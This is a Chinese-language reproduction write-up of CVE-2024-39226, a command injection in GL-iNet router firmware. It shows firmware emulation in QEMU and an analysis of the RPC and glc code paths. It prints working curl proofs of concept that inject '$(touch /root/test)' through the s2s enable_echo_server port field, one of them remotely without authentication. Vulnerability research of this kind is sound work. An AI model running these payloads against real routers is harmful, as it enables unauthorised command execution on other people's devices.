# GL-Net 路由器 cve-2024-39226 复现分析
# 1. 描述:
该漏洞可被利用通过 s2s API 传递恶意 shell 命令来操纵路由器。
从请求体中的 json 数据中获取 port,下面对获取到的 port 的字符串进行了校验,但是并不严格。
# 2. 仿真模拟
固件版本:GL-AX1800 Flint 4.5.16
下载地址👉https://dl.gl-inet.cn/
解压后有 root 文件,进行 binwalk -Me 解包
$ binwalk -Me root |
yhuan@h711:~/Desktop/IOT 分析 / GL-iNet/_root.extracted/squashfs-root/bin$
file busybox
busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-arm.so.1, no section header
得知是 32 位 ARM 的架构
# qemu 仿真:
在 qemu 仿真时,踩了不少坑。好好写写
镜像下载地址点这里
下载完镜像之后,进行宿主机的网络配置,前提要有 qemu-system-arm
sudo apt install libvirt
-
daemon-
system libvirt-
clients virt-
manager
搭建虚拟网桥
没有的情况可以自己配置一个
sudo brctl addbr virbr0 # 创建桥接
sudo ip link set virbr0 up # 启动桥接
sudo ip addr add 192.168.122.1/24 dev virbr0
类似于这个,创建并启用名为 tap0 的 TAP 设备,再将其添加到 virbr0 网桥中,并修改文件权限。
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo brctl addif virbr0 tap0
sudo chmod 666 /dev/net/tun
类似于这样,加下来使用 brctl show
看一下网桥状态
这样可以进行后面的操作了,若 STP enabled (命令功能 stp v-stp enable 命令用来使能 STP 进入跨设备组合工作模式。 undo stp v-stp enable 命令用来去使能 STP 进入跨设备组合工作模式。 缺省情况下,STP 进入跨设备组合工作模式处于去使能状态) 显示 no,使用下面的命令即可
sudo brctl stp virbr0 on
使用 qemu 进行引导
sudo qemu-system-arm -machine 'virt' -cpu 'cortex-a15' -m 1G \ | |
-device virtio-blk-device,drive=hd -drive file=image.qcow2,if=none,id=hd \ | |
-device virtio-net-device,netdev=net -netdev tap,id=net,ifname=tap0,script=no,downscript=no \ | |
-kernel kernel -initrd initrd -nographic \ | |
-append "root=LABEL=rootfs console=ttyAMA0" |
仿真完成后进行 qemu 内虚拟机网络配置
root@debian:~# ip add add 192.168.122.130/24 dev eth0 root@debian:~# ip link set eth0 up
root@debian:~# ip route add default via 192.168.122.1
然后进入宿主机进行文件系统传输,一定要上 sudo,要不可能会有文件缺失
sudo scp -r squashfs-root/ root@192.168.122.130:/root |
挂载文件系统,并启动 shell (可以在一个系统的虚拟机上传不同版本的 suqashfs-root,选择挂载进入的,可以写出不同的 sh 脚本)
cd squashfs-root/ | |
mount -t proc /proc ./proc/ | |
mount -o bind /dev ./dev/ | |
chroot ../squashfs-root/ sh |
使用下面命令,可以在宿主机访问 192.168.122.130 进入路由器管理页面,可完成初始密码设置并登录进入管理面板过程,想实现更多功能的启用就要摸索更多配置了,不过我们分析复现授权相关过程已经够用了。
#第一次运行这些 | |
mkdir /var/log | |
mkdir /var/log/nginx | |
mkdir /var/lib | |
mkdir /var/lib/nginx | |
mkdir /var/lib/nginx/body | |
mkdir /var/run | |
chmod +x /etc/uci-defaults/80_nginx-oui | |
/etc/uci-defaults/80_nginx-oui | |
chmod +x /etc/uci-defaults/network_gl | |
/etc/uci-defaults/network_gl | |
/etc/init.d/boot boot | |
#后面重启运行这些即可 | |
/sbin/ubusd & | |
/usr/sbin/gl-ngx-session & | |
/usr/bin/fcgiwrap -c 4 -s unix:/var/run/fcgiwrap.socket & | |
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;' & |
出现此界面,仿真成功
# 3. 漏洞分析
POC: curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'
根据纰漏的 poc 发现,他请求的路由是 /rpc,然后在 /etc/nginx 下的 nginx 配置文件找下 rpc 的相关信息。
可以了解到请求 rpc 路径的处理方法在 /usr/share/gl-ngx/oui-rpc.lua
local cjson = require "cjson" | |
local rpc = require "oui.rpc" | |
local ubus = require "oui.ubus" | |
cjson.encode_empty_table_as_object(false) | |
if ngx.req.get_method() ~= "POST" then -- 检查 HTTP 请求方法是否为 POST | |
ngx.exit(ngx.HTTP_FORBIDDEN) -- 如果不是,返回 403 Forbidden。 | |
end | |
ngx.req.read_body() -- 获取请求体 | |
local data = ngx.req.get_body_data() -- 如果数据直接存在于 body 中,则获取 | |
if not data then -- 否则从临时文件中读取,这可能处理较大的请求体。 | |
local name = ngx.req.get_body_file() | |
local f = io.open(name, "r") | |
data = f:read("*a") | |
f:close() | |
end | |
local function rpc_method_challenge(id, params) | |
local res = ubus.call("gl-session", "challenge", params) | |
local code, data = res.code, res.data | |
if code ~= 0 then | |
local resp = rpc.error_response(id, code, data) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
local resp = rpc.result_response(id, data) | |
ngx.say(cjson.encode(resp)) | |
end -- 调用 gl-session 服务的 challenge 方法,生成认证挑战码(用于后续登录验证)。 | |
local function rpc_method_login(id, params) | |
local res = ubus.call("gl-session", "login", params) | |
local code, data = res.code, res.data | |
if code ~= 0 then | |
local resp = rpc.error_response(id, code, data) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
ngx.header["Set-Cookie"] = "Admin-Token=" .. data.sid | |
local resp = rpc.result_response(id, data) | |
ngx.say(cjson.encode(resp)) | |
end -- 调用 login 方法验证用户凭证,成功时设置 Cookie Admin-Token 为会话 ID(sid)。 | |
local function rpc_method_logout(id, params) | |
ubus.call("gl-session", "logout", params) | |
local resp = rpc.result_response(id) | |
ngx.say(cjson.encode(resp)) | |
end -- 终止当前会话。 | |
local function rpc_method_alive(id, params) | |
local res = ubus.call("gl-session", "touch", params) | |
if res.code ~= 0 then | |
local resp = rpc.error_response(id, res.code, data) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
local resp = rpc.result_response(id) | |
ngx.say(cjson.encode(resp)) | |
end -- 通过 touch 方法刷新会话有效期。 | |
local function rpc_method_call(id, params) | |
if #params < 3 then | |
local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
local sid, object, method, args = params[1], params[2], params[3], params[4] | |
if type(sid) ~= "string" or type(object) ~= "string" or type(method) ~= "string" then | |
local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
if args and type(args) ~= "table" then | |
local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS) | |
ngx.say(cjson.encode(resp)) | |
return | |
end -- 参数校验:检查 sid、object、method 类型,args 是否为表。 | |
ngx.ctx.sid = sid | |
if not rpc.is_no_auth(object, method) then | |
-- rpc.is_no_auth (object, method):跳过认证的方法(如公共 API)。 | |
if not rpc.access("rpc", object .. "." .. method) then | |
-- rpc.access ("rpc", object .. "." .. method):验证调用权限。 | |
local resp = rpc.error_response(id, rpc.ERROR_CODE_ACCESS) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
end | |
local res = rpc.call(object, method, args) | |
-- 调用目标方法:通过 rpc.call 执行实际逻辑,返回结果或错误。 | |
if type(res) == "number" then | |
local resp = rpc.error_response(id, res) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
if type(res) ~= "table" then res = {} end | |
local resp = rpc.result_response(id, res) | |
ngx.say(cjson.encode(resp)) | |
end | |
local methods= { | |
["challenge"] = rpc_method_challenge, | |
["login"] = rpc_method_login, | |
["logout"] = rpc_method_logout, | |
["alive"] = rpc_method_alive, | |
["call"] = rpc_method_call | |
} --RPC 方法:challenge、login、logout、alive、call | |
local ok, json_data = pcall(cjson.decode, data) | |
if not ok then | |
local resp = rpc.error_response(nil, rpc.ERROR_CODE_PARSE_ERROR) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
if type(json_data) ~= "table" then | |
local resp = rpc.error_response(nil, rpc.ERROR_CODE_PARSE_ERROR) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
if type(json_data.method) ~= "string" then | |
local resp = rpc.error_response(json_data.id, rpc.ERROR_CODE_INVALID_REQUEST) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
if json_data.params and type(json_data.params) ~= "table" then | |
local resp = rpc.error_response(json_data.id, rpc.ERROR_CODE_INVALID_REQUEST) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
if not methods[json_data.method] then | |
local resp = rpc.error_response(json_data.id, rpc.ERROR_CODE_METHOD_NOT_FOUND) | |
ngx.say(cjson.encode(resp)) | |
return | |
end | |
methods[json_data.method](json_data.id, json_data.params or {}) |
根据 POC 调用的方法为 call
所以现在重点关注 rpc_method_call 这个功能类函数
rpc_method_call 进行参数验证、会话检查和 Ubus 调用:
- 确保 params 中至少三个元素且元素类型正确。
- 检查 sid 是否有效,并通过 rpc.access 验证访问权限。
- 如果上述判断均通过,使用 rpc.call 执行指定的 Ubus 对象和方法。
接下来跟进 access 和 call 方法
M.session = function() | |
local session = ubus.call("gl-session", "session", { sid = ngx.ctx.sid }) | |
local __oui_session = { | |
is_local = ngx.var.remote_addr == "127.0.0.1" or ngx.var.remote_addr == "::1", | |
-- is_local 为本地 | |
remote_addr = ngx.var.remote_addr, | |
remote_port = ngx.var.remote_port | |
} | |
if not session then return __oui_session end | |
utils.update_ngx_session("/tmp/gl_token_" .. ngx.ctx.sid) | |
session.remote_addr = ngx.var.remote_addr | |
session.remote_port = ngx.var.remote_port | |
return session | |
end | |
M.access = function(scope, entry, need) | |
local headers = ngx.req.get_headers() | |
local s = M.session() | |
local aclgroup = s.aclgroup | |
if s.is_local and headers["glinet"] then | |
-- 判断是否本地请求并且使用 glinet 服务,则通过 | |
return true | |
end | |
-- The admin acl group is always allowed | |
if aclgroup == "root" then return true end | |
if not aclgroup or aclgroup == "" then return false end | |
local perm = db.get_perm(aclgroup, scope, entry) | |
if not need then return false end | |
if need == "r" then | |
return perm:find("[r,w]") ~= nil | |
else | |
return perm:find(need) ~= nil | |
end | |
end | |
M.call = function(object, method, args) | |
ngx.log(ngx.DEBUG, "call: '", object, ".", method, "'") | |
if not objects[object] then -- 如果没有属性加载就从 /usr/lib/oui-httpd/rpc/ 加载脚本 | |
local script = "/usr/lib/oui-httpd/rpc/" .. object | |
-- 如果脚本文件存在且加载成功,将对象的方法注册到 objects 表中。 | |
if not fs.access(script) then | |
-- 如果无法从 /usr/lib/oui-httpd/rpc/ 目录下加载脚本文件或者找不到对象或方法。 | |
return glc_call(object, method, args) | |
-- 则调用 glc_call 执行。 | |
end | |
local ok, tb = pcall(dofile, script) | |
if not ok then | |
ngx.log(ngx.ERR, tb) | |
return glc_call(object, method, args) | |
end | |
if type(tb) == "table" then | |
local funs = {} | |
for k, v in pairs(tb) do | |
if type(v) == "function" then | |
funs[k] = v | |
end | |
end | |
objects[object] = funs | |
end | |
end | |
local fn = objects[object] and objects[object][method] | |
if not fn then | |
return glc_call(object, method, args) | |
end | |
return fn(args) | |
end | |
local function glc_call(object, method, args) | |
ngx.log(ngx.DEBUG, "call C: '", object, ".", method, "'") | |
-- 查看 /usr/lib/oui-httpd/rpc/ 目录下是二进制 s2s.so 文件, | |
-- 无法直接加载,则通过 glc_call 调用 /cgi-bin/glc 执行 C 程序实现的 RPC 方法。 | |
local res = ngx.location.capture("/cgi-bin/glc", { | |
method = ngx.HTTP_POST, | |
body = cjson.encode({ | |
object = object, | |
method = method, | |
args = args or {} | |
}) | |
}) | |
if res.status ~= ngx.HTTP_OK then return M.ERROR_CODE_INTERNAL_ERROR end | |
local body = res.body | |
local code = tonumber(body:match("(-?%d+)")) | |
if code ~= M.ERROR_CODE_NONE then | |
local err_msg = body:match("%d+ (.+)") | |
if err_msg then | |
ngx.log(ngx.ERR, err_msg) | |
end | |
return code | |
end | |
local msg = body:match("%d+ (.*)") | |
return cjson.decode(msg) | |
end |
接着跟进 /www/cgi-bin/glc 文件
通过了解 dlopen 可知了解到 /usr/lib/oui-httpd/rpc 是加载动态库的函数
snprintf(s, 0x80u, “%s/%s.so”, “/usr/lib/oui-httpd/rpc”, v30);
v10 = dlopen(s, 2);
所以可以这样理解,通过我们输入的 json 数据去解析,然后通过 dlopen 加载动态库进行操作。
所以通过 POC,他是调用 /usr/lib/oui-httpd/rpc
目录下的 s2s.so 动态库。通过 ida 分析,找到这个 enable_echo_server
函数
在处理端口时,由于对于端口并没有很严格的限制,所以可以进行命令注入
# 4. 进一步研究
通过上述可以发现,只能在本地实现命令注入执行的操作有点鸡肋了,而通过 /rpc 路径只能实现一条本地攻击的操作链,如果我们话 /cgi-rpc 这个路径应该会有一个意想不到的效果。所以下面分析一下 /cgi-rpc 这条路径下 glc 文件,去实现远程命令执行
首先简单的看一些保存接口的文件
而已经知道了 /cgi-bin 路径下存放以下文件
所以当我们直接调用 /cgi-bin/glc,发起一个内部的 HTTP POST 请求,去处理 Json 数据,并去传递属性,方法和参数信息,就无需限制本地或远程请求。
所以也就有了下面的 POC
curl 198.162.122.130/cgi-bin/glc -d ‘{ “object”:“s2s”, “method”:“enable_echo_server”, “args”:{“port”: “7 $(touch /root/test)”}}’
参考连接:
https://paper.seebug.org/3224/#1
http://www.yxfzedu.com/article/11600
http://www.personal-read.cn:3000/#/